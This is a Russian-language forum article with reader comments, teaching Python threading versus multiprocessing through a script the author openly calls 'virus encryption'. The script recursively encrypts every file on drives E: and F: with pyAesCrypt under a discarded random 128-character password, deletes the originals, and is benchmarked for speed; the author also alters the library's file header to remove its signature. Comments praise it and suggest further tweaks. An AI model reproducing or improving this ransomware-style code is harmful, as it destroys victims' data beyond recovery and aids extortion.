Статья Шифрование на Python - многопоточность. Часть 2

Доброго времени суток, друзья !
main.png


В первой части мы писали функции и главное окно программы. Вторую часть я решил сделать, чтобы доработать код и разобрать тему многопоточности в пайтон. Алгоритм шифрования оставим на PyAesCrypt, но есть кое-что, что я с самого начала хотелось поменять.

Короче, погнали.


Внутри PyAes :


После функции шифрования мы получаем что-то вроде этого в файле :

ver_aes.png


Автор указал тут название и версию библиотеки (что я считаю правильно и никого не осуждаю) но мне хотелось бы избавиться от этого. Во время тестов я пробовал заменять первые байты ( ровно всю длину этого сообщения ) на свои, потом подставлять в расшифровку, но это ломает алгоритм. И могу предположить почему, заглянув в модуль :

change_ver.png


В \Lib\site-packages\pyAesCrypt (в своем питоне) в файле crypto.py я отредактировал строку CREATED_BY_pyAesCrypt + version
поменяв ее на первые строки считалки Крюггера)
Как мило (нет)

new_ver.png


Вот что получилось. На расшифровку это не влияет. А вот строка AES ломает аалгоритм, видимо по ней идет проверка что файл вообще зашифрован (находится в AES формате) но это не точно.

В принципе мне этого пока достаточно. Давайте перейдем к основной теме статьи - многопоточности питона.


Немного теории по GIL, Threading и Multiprocessing :

Совсем уж не буду вдаваться в теорию, информацию можно найти в сети, но для понимания (если кто забыл или не знал или решил повторить) немного остановимся.

GIL - это механизм блокировки, который предотвращает одновременное выполнение кода Python двумя потоками в одном процессе. Иными словами - в любой момент времени только один поток может быть в состоянии выполнения.

Получается что Threads ( потоки ) - работают не параллельно. Поток делит выделенную память ядру процессора, а так же его процессорное время со всеми другими потоками. По умолчанию программы на python имеют один основной поток. Можно создать их больше и позволить Python переключаться между ними, что создает иллюзию многопоточности.

Лучшая аналогия что я нашел - сравнивает этот процесс с шахматистом-гроссмейстером, соревнующимся одновременно со многими противниками. Это всего лишь один человек, но ему нужно переключаться между задачами (играми) и помнить состояние (обычно это называется state) для каждой игры.

Поскольку потоки выполняется на одном процессоре, они хорошо подходят для ускорения некоторых задач, но не для всех. Задачи, которые требуют значительных вычислений ЦП и тратят мало времени на ожидание внешних событий, быстрее будут работать с процессами (multiprocessing).

Multiprocessing - представляет собой так же независимую последовательность выполнения вычислений. В отличие от потоков, процесс имеет собственное ядро и следовательно выделенную ему память, которое не используется совместно с другими процессами. Процесс может клонировать себя, создавая два или более экземпляра в одном ядре процессора.

Итак, вывод :
Процессы ускоряют операции на Python, которые создают интенсивную вычислительную нагрузку на центральный процессор, используя сразу несколько ядер и избегая GIL, в то время как потоки лучше подходят для задач ввода-вывода или задач, связанных с внешними системами, потому что потоки могут более эффективно работать вместе.

Все пока, больше не стану грузить скучными определениями, тем более рассказать все в одной статье не получиться ( можно глянуть только доку по мультипроцессингу и зависнуть надолго :)) Главное для начала - уяснить разницу между этими понятиями и правильно применять на практике тот или иной модуль.


От теории к практике (вирусное шифрование):

Итак, для практики я создал два диска (E:\ и F:\) на винде и подготовил скрипт :

Python:
import random
import os
import threading
from multiprocessing import Process

import pyAesCrypt

# наши диски
dir_e = 'E:/'
dir_f = 'F:/'
# для генерации пароля
chars = '+-/*!@#$&=<>abcdifghijklmnopqrstuvwxyzABCDIFGHIJKLMNOPQRSTUVWXYZ1234567890'

# генерируем пароль в 128 символов чтобы уж точно не расшифровать
def generate_pass():
    password = ''
    for i in range(128):
        password += random.choice(chars)
    return password

# шифруем файл
def crypt_file(file, password):
    try:
        bufferSize = 512 * 1024
        pyAesCrypt.encryptFile(str(file), str(file) + ".zvp",
                               password, bufferSize)
        os.remove(file)
    except:
        pass

# идем по директориям
def crypt_disk(dir, password):
    try:
        for file in os.listdir(dir):
            if os.path.isdir(dir + '\\' + file):
                crypt_disk(dir + '\\' + file, password)
            if os.path.isfile(dir + '\\' + file):
                try:
                    crypt_file(dir + '\\' + file, password)
                except:
                    pass
    except OSError:
        pass

# используем потоки
def crypting(dir, password):
    pycrypt = threading.Thread(target=crypt_disk, args=(dir, password))
    pycrypt.start()

# используем процессы
#def crypting(dir, password):
    #pycrypt = Process(target=crypt_disk, args=(dir, password))
    #pycrypt.start()


try:
    #crypting(dir_e, password=generate_pass())
    #crypting(dir_f, password=generate_pass())
    crypt_disk(dir_e, password=generate_pass()) # запускаем без потоков и процессов
    crypt_disk(dir_f, password=generate_pass()) # диски будут шифроваться по очереди
except Exception as e:
    pass

Использование процессов в этом случае будет оптимальным выбором. Так как шифрование в большей степени задействует вычислительные ресурсы процессора.
Я закинул небольшие директории и проверил время работы для 3-х случаев.

Шифрование дисков по очереди без потоков и процессов = 1 минута 18 секунд
Шифрование с использованием потоков = 2 минуты 1 секунда !!! В данном случае потоки замедляют процесс выполнения.
Шифрование с использованием процессов = 45 секунд. Что в данном случае является лучшим результатом.


Вывод :

Собственно, неправильно выбранный метод реализации может утяжелить и замедлить ваш код при написании многопоточности. Это может быть сканер, брутер, спамер и тд. На этом заканчиваю эту часть.
С наилучшими пожеланиями.

Спасибо за внимание !
 

woolf1514

Green Team
06.03.2017
181
191
BIT
4
Спасибо! Особенно про многопоточность с примером мне очень полезно было.
 
  • Нравится
Реакции: TR1X

TR1X

Green Team
04.04.2020
218
156
BIT
160
Спасибо за отзывы господа )

Я действительно рад что данная информация кому то полезна / интересна, и это пожалуй отличная награда.
У меня возникли некоторые сложности с использованием окон Tk() и multiprocessing. И я никак не могу закончить все то, что хотел затронуть тут. Видимо попробую разобрать GUI отдельно в части 3.
 
  • Нравится
Реакции: Muxtar

woolf1514

Green Team
06.03.2017
181
191
BIT
4
Спасибо за отзывы господа )

Я действительно рад что данная информация кому то полезна / интересна, и это пожалуй отличная награда.
У меня возникли некоторые сложности с использованием окон Tk() и multiprocessing. И я никак не могу закончить все то, что хотел затронуть тут. Видимо попробую разобрать GUI отдельно в части 3.
На крайняк консольная версия думаю никого не расстроит.
 
  • Нравится
Реакции: TR1X

Muxtar

Green Team
02.06.2021
132
65
BIT
0
Можно вопрос(Если конечно не секрет), а откуда ты эти знание берешь? Откуда ты это всё знаешь? Очень хочу узнать. :) -Спасибо.
 
  • Нравится
Реакции: TR1X

Polyglot

Green Team
25.02.2020
45
57
BIT
235
Автор указал тут название и версию библиотеки (что я считаю правильно и никого не осуждаю) но мне хотелось бы избавиться от этого.
Как автор написал этот модуль Питон имплементация ПО на С++ AEScrypt а у них файл формат требует определенной структуры описание здесь - , естественно к самому стандарту AES это отношения не имеет. Автор PyAEScrypt сделал обертку популярного модуля cryptography которому в свою очередь пофиг формат файла, так что если мешает этот "AES" в заголовке файла, можно убрать проверку на его наличие, думаю ничего от этого не сломается:

pyAesCrypt/crypto.py at master · marcobellaccini/pyAesCrypt (строка 303):

Python:
# check if file is in AES Crypt format (also min length check)
    if (fdata != bytes("AES", "utf8") or inputLength < 136):
            raise ValueError("File is corrupted or not an AES Crypt "
                             "(or pyAesCrypt) file.")
 
  • Нравится
Реакции: TR1X

TR1X

Green Team
04.04.2020
218
156
BIT
160
Как автор написал этот модуль Питон имплементация ПО на С++ AEScrypt а у них файл формат требует определенной структуры описание здесь - , естественно к самому стандарту AES это отношения не имеет. Автор PyAEScrypt сделал обертку популярного модуля cryptography которому в свою очередь пофиг формат файла, так что если мешает этот "AES" в заголовке файла, можно убрать проверку на его наличие, думаю ничего от этого не сломается:

pyAesCrypt/crypto.py at master · marcobellaccini/pyAesCrypt (строка 303):

Python:
# check if file is in AES Crypt format (also min length check)
    if (fdata != bytes("AES", "utf8") or inputLength < 136):
            raise ValueError("File is corrupted or not an AES Crypt "
                             "(or pyAesCrypt) file.")
Тут и выше по модулю я пробовал менять значение AES строки, полностью не убирал проверку, надо затестить)
Спасибо за дополнение.
 
Последнее редактирование:
  • Нравится
Реакции: Polyglot

TR1X

Green Team
04.04.2020
218
156
BIT
160
  • Нравится
Реакции: Muxtar

Mortar

New member
01.10.2021
1
0
BIT
324
Тебе нужно переписать это GO, там как раз многопоточность будет работать на порядок лучше

а так написано просто огонь
 

Muxtar

Green Team
02.06.2021
132
65
BIT
0
С каких это пор Go с его рантаймом быстрее Rust? :)
Ок.

С каких это пор Go с его рантаймом быстрее Rust? :)
Хах, и правдо.

Вот чекнул здесь я был удивлен.

Руст быстрее чем Го по рантайму.
Зря я думал что ГО быстрее всех ЯП, но теперь знаю:)
 
  • Нравится
Реакции: TR1X

Pernat1y

Well-known member
05.04.2018
1 443
135
BIT
0
Хах, и правдо.

Вот чекнул здесь я был удивлен.

Руст быстрее чем Го по рантайму.
Зря я думал что ГО быстрее всех ЯП, но теперь знаю:)
Язык, который тащит с собой ВМ (джава, например) или тяжёлый рантайм (го) физически не может быть самым быстрым.
 
  • Нравится
Реакции: Muxtar

iwust_

Green Team
30.09.2021
17
1
BIT
0
Доброго времени суток, друзья !
Посмотреть вложение 53557

В первой части мы писали функции и главное окно программы. Вторую часть я решил сделать, чтобы доработать код и разобрать тему многопоточности в пайтон. Алгоритм шифрования оставим на PyAesCrypt, но есть кое-что, что я с самого начала хотелось поменять.

Короче, погнали.


Внутри PyAes :


После функции шифрования мы получаем что-то вроде этого в файле :

Посмотреть вложение 53559

Автор указал тут название и версию библиотеки (что я считаю правильно и никого не осуждаю) но мне хотелось бы избавиться от этого. Во время тестов я пробовал заменять первые байты ( ровно всю длину этого сообщения ) на свои, потом подставлять в расшифровку, но это ломает алгоритм. И могу предположить почему, заглянув в модуль :

Посмотреть вложение 53560

В \Lib\site-packages\pyAesCrypt (в своем питоне) в файле crypto.py я отредактировал строку CREATED_BY_pyAesCrypt + version
поменяв ее на первые строки считалки Крюггера)
Как мило (нет)

Посмотреть вложение 53562

Вот что получилось. На расшифровку это не влияет. А вот строка AES ломает аалгоритм, видимо по ней идет проверка что файл вообще зашифрован (находится в AES формате) но это не точно.

В принципе мне этого пока достаточно. Давайте перейдем к основной теме статьи - многопоточности питона.


Немного теории по GIL, Threading и Multiprocessing :

Совсем уж не буду вдаваться в теорию, информацию можно найти в сети, но для понимания (если кто забыл или не знал или решил повторить) немного остановимся.

GIL - это механизм блокировки, который предотвращает одновременное выполнение кода Python двумя потоками в одном процессе. Иными словами - в любой момент времени только один поток может быть в состоянии выполнения.

Получается что Threads ( потоки ) - работают не параллельно. Поток делит выделенную память ядру процессора, а так же его процессорное время со всеми другими потоками. По умолчанию программы на python имеют один основной поток. Можно создать их больше и позволить Python переключаться между ними, что создает иллюзию многопоточности.



Поскольку потоки выполняется на одном процессоре, они хорошо подходят для ускорения некоторых задач, но не для всех. Задачи, которые требуют значительных вычислений ЦП и тратят мало времени на ожидание внешних событий, быстрее будут работать с процессами (multiprocessing).

Multiprocessing - представляет собой так же независимую последовательность выполнения вычислений. В отличие от потоков, процесс имеет собственное ядро и следовательно выделенную ему память, которое не используется совместно с другими процессами. Процесс может клонировать себя, создавая два или более экземпляра в одном ядре процессора.

Итак, вывод :
Процессы ускоряют операции на Python, которые создают интенсивную вычислительную нагрузку на центральный процессор, используя сразу несколько ядер и избегая GIL, в то время как потоки лучше подходят для задач ввода-вывода или задач, связанных с внешними системами, потому что потоки могут более эффективно работать вместе.

Все пока, больше не стану грузить скучными определениями, тем более рассказать все в одной статье не получиться ( можно глянуть только доку по мультипроцессингу и зависнуть надолго :)) Главное для начала - уяснить разницу между этими понятиями и правильно применять на практике тот или иной модуль.


От теории к практике (вирусное шифрование):

Итак, для практики я создал два диска (E:\ и F:\) на винде и подготовил скрипт :

Python:
import random
import os
import threading
from multiprocessing import Process

import pyAesCrypt

# наши диски
dir_e = 'E:/'
dir_f = 'F:/'
# для генерации пароля
chars = '+-/*!@#$&=<>abcdifghijklmnopqrstuvwxyzABCDIFGHIJKLMNOPQRSTUVWXYZ1234567890'

# генерируем пароль в 128 символов чтобы уж точно не расшифровать
def generate_pass():
    password = ''
    for i in range(128):
        password += random.choice(chars)
    return password

# шифруем файл
def crypt_file(file, password):
    try:
        bufferSize = 512 * 1024
        pyAesCrypt.encryptFile(str(file), str(file) + ".zvp",
                               password, bufferSize)
        os.remove(file)
    except:
        pass

# идем по директориям
def crypt_disk(dir, password):
    try:
        for file in os.listdir(dir):
            if os.path.isdir(dir + '\\' + file):
                crypt_disk(dir + '\\' + file, password)
            if os.path.isfile(dir + '\\' + file):
                try:
                    crypt_file(dir + '\\' + file, password)
                except:
                    pass
    except OSError:
        pass

# используем потоки
def crypting(dir, password):
    pycrypt = threading.Thread(target=crypt_disk, args=(dir, password))
    pycrypt.start()

# используем процессы
#def crypting(dir, password):
    #pycrypt = Process(target=crypt_disk, args=(dir, password))
    #pycrypt.start()


try:
    #crypting(dir_e, password=generate_pass())
    #crypting(dir_f, password=generate_pass())
    crypt_disk(dir_e, password=generate_pass()) # запускаем без потоков и процессов
    crypt_disk(dir_f, password=generate_pass()) # диски будут шифроваться по очереди
except Exception as e:
    pass

Использование процессов в этом случае будет оптимальным выбором. Так как шифрование в большей степени задействует вычислительные ресурсы процессора.
Я закинул небольшие директории и проверил время работы для 3-х случаев.

Шифрование дисков по очереди без потоков и процессов = 1 минута 18 секунд
Шифрование с использованием потоков = 2 минуты 1 секунда !!! В данном случае потоки замедляют процесс выполнения.
Шифрование с использованием процессов = 45 секунд. Что в данном случае является лучшим результатом.


Вывод :

Собственно, неправильно выбранный метод реализации может утяжелить и замедлить ваш код при написании многопоточности. Это может быть сканер, брутер, спамер и тд. На этом заканчиваю эту часть.
С наилучшими пожеланиями.

Спасибо за внимание !
прикольно спасибо
 
  • Нравится
Реакции: TR1X

labvictx

Green Team
03.08.2011
28
5
BIT
7
Доброго времени суток, друзья !
Посмотреть вложение 53557

В первой части мы писали функции и главное окно программы. Вторую часть я решил сделать, чтобы доработать код и разобрать тему многопоточности в пайтон. Алгоритм шифрования оставим на PyAesCrypt, но есть кое-что, что я с самого начала хотелось поменять.

Короче, погнали.


Внутри PyAes :


После функции шифрования мы получаем что-то вроде этого в файле :

Посмотреть вложение 53559

Автор указал тут название и версию библиотеки (что я считаю правильно и никого не осуждаю) но мне хотелось бы избавиться от этого. Во время тестов я пробовал заменять первые байты ( ровно всю длину этого сообщения ) на свои, потом подставлять в расшифровку, но это ломает алгоритм. И могу предположить почему, заглянув в модуль :

Посмотреть вложение 53560

В \Lib\site-packages\pyAesCrypt (в своем питоне) в файле crypto.py я отредактировал строку CREATED_BY_pyAesCrypt + version
поменяв ее на первые строки считалки Крюггера)
Как мило (нет)

Посмотреть вложение 53562

Вот что получилось. На расшифровку это не влияет. А вот строка AES ломает аалгоритм, видимо по ней идет проверка что файл вообще зашифрован (находится в AES формате) но это не точно.

В принципе мне этого пока достаточно. Давайте перейдем к основной теме статьи - многопоточности питона.


Немного теории по GIL, Threading и Multiprocessing :

Совсем уж не буду вдаваться в теорию, информацию можно найти в сети, но для понимания (если кто забыл или не знал или решил повторить) немного остановимся.

GIL - это механизм блокировки, который предотвращает одновременное выполнение кода Python двумя потоками в одном процессе. Иными словами - в любой момент времени только один поток может быть в состоянии выполнения.

Получается что Threads ( потоки ) - работают не параллельно. Поток делит выделенную память ядру процессора, а так же его процессорное время со всеми другими потоками. По умолчанию программы на python имеют один основной поток. Можно создать их больше и позволить Python переключаться между ними, что создает иллюзию многопоточности.



Поскольку потоки выполняется на одном процессоре, они хорошо подходят для ускорения некоторых задач, но не для всех. Задачи, которые требуют значительных вычислений ЦП и тратят мало времени на ожидание внешних событий, быстрее будут работать с процессами (multiprocessing).

Multiprocessing - представляет собой так же независимую последовательность выполнения вычислений. В отличие от потоков, процесс имеет собственное ядро и следовательно выделенную ему память, которое не используется совместно с другими процессами. Процесс может клонировать себя, создавая два или более экземпляра в одном ядре процессора.

Итак, вывод :
Процессы ускоряют операции на Python, которые создают интенсивную вычислительную нагрузку на центральный процессор, используя сразу несколько ядер и избегая GIL, в то время как потоки лучше подходят для задач ввода-вывода или задач, связанных с внешними системами, потому что потоки могут более эффективно работать вместе.

Все пока, больше не стану грузить скучными определениями, тем более рассказать все в одной статье не получиться ( можно глянуть только доку по мультипроцессингу и зависнуть надолго :)) Главное для начала - уяснить разницу между этими понятиями и правильно применять на практике тот или иной модуль.


От теории к практике (вирусное шифрование):

Итак, для практики я создал два диска (E:\ и F:\) на винде и подготовил скрипт :

Python:
import random
import os
import threading
from multiprocessing import Process

import pyAesCrypt

# наши диски
dir_e = 'E:/'
dir_f = 'F:/'
# для генерации пароля
chars = '+-/*!@#$&=<>abcdifghijklmnopqrstuvwxyzABCDIFGHIJKLMNOPQRSTUVWXYZ1234567890'

# генерируем пароль в 128 символов чтобы уж точно не расшифровать
def generate_pass():
    password = ''
    for i in range(128):
        password += random.choice(chars)
    return password

# шифруем файл
def crypt_file(file, password):
    try:
        bufferSize = 512 * 1024
        pyAesCrypt.encryptFile(str(file), str(file) + ".zvp",
                               password, bufferSize)
        os.remove(file)
    except:
        pass

# идем по директориям
def crypt_disk(dir, password):
    try:
        for file in os.listdir(dir):
            if os.path.isdir(dir + '\\' + file):
                crypt_disk(dir + '\\' + file, password)
            if os.path.isfile(dir + '\\' + file):
                try:
                    crypt_file(dir + '\\' + file, password)
                except:
                    pass
    except OSError:
        pass

# используем потоки
def crypting(dir, password):
    pycrypt = threading.Thread(target=crypt_disk, args=(dir, password))
    pycrypt.start()

# используем процессы
#def crypting(dir, password):
    #pycrypt = Process(target=crypt_disk, args=(dir, password))
    #pycrypt.start()


try:
    #crypting(dir_e, password=generate_pass())
    #crypting(dir_f, password=generate_pass())
    crypt_disk(dir_e, password=generate_pass()) # запускаем без потоков и процессов
    crypt_disk(dir_f, password=generate_pass()) # диски будут шифроваться по очереди
except Exception as e:
    pass

Использование процессов в этом случае будет оптимальным выбором. Так как шифрование в большей степени задействует вычислительные ресурсы процессора.
Я закинул небольшие директории и проверил время работы для 3-х случаев.

Шифрование дисков по очереди без потоков и процессов = 1 минута 18 секунд
Шифрование с использованием потоков = 2 минуты 1 секунда !!! В данном случае потоки замедляют процесс выполнения.
Шифрование с использованием процессов = 45 секунд. Что в данном случае является лучшим результатом.


Вывод :

Собственно, неправильно выбранный метод реализации может утяжелить и замедлить ваш код при написании многопоточности. Это может быть сканер, брутер, спамер и тд. На этом заканчиваю эту часть.
С наилучшими пожеланиями.

Спасибо за внимание !
Статья 🔥, большое спасибо автору данной статьи за его кропотливую работу и разъяснения, ждём продолжения творчества.

"Шифрование дисков по очереди без потоков и процессов = 1 минута 18 секунд
Шифрование с использованием потоков = 2 минуты 1 секунда !!! В данном случае потоки замедляют процесс выполнения.
Шифрование с использованием процессов = 45 секунд. Что в данном случае является лучшим результатом.", и все же автор в итоге оставил вариант шифрование 1ый а не 3ий при шифровании с использованием процессов, почему? (большое спасибо за анализ с разным методом).
 
  • Нравится
Реакции: TR1X
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!